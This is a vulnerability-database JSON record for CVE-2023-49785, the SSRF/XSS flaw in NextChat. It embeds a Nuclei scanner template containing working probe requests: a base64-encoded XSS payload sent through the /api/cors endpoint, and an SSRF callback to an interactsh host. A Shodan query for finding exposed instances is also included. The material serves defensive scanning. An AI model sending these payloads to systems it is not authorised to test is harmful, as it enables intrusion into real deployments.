{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-49785/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-49785/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-49785/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-49785/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-49785/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-49785"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-49785"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-49785.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2023-49785\n\ninfo:\n  name: ChatGPT-Next-Web - SSRF/XSS\n  author: high\n  severity: critical\n  description: |\n    Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web\n  impact: |\n    Unauthenticated attackers can exploit SSRF vulnerabilities through the /api/cors endpoint to access internal network resources and inject malicious JavaScript for cross-site scripting attacks.\n  remediation: |\n    Do not expose to the Internet\n  reference:\n    - https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/\n    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2023-49785\n    cwe-id: CWE-79\n    epss-score: 0.83163\n    epss-percentile: 0.99668\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: \"title:NextChat,\\\"ChatGPT Next Web\\\"\"\n  tags: cve,cve2023,ssrf,xss,chatgpt,nextchat,vkev,vuln,ai\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23\"\n      - \"{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23\"\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body_1, \"<script>alert(document.domain)</script>\")\n          - contains(header_1, \"text/html\")\n        condition: and\n\n      - type: dsl\n        dsl:\n          - contains(header_2,'X-Interactsh-Version')\n          - contains(interactsh_protocol_2,'dns')\n        condition: and\n# digest: 490a0046304402202164b416d56e7bfadacf16c3ec75f9f8f7dffc78905da38b9815bc855e99101b02202f00aa124ab060048bc9384bdd9ef31e3d05c7ed4463aadf44617fe76b5b8bec:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-49785"
}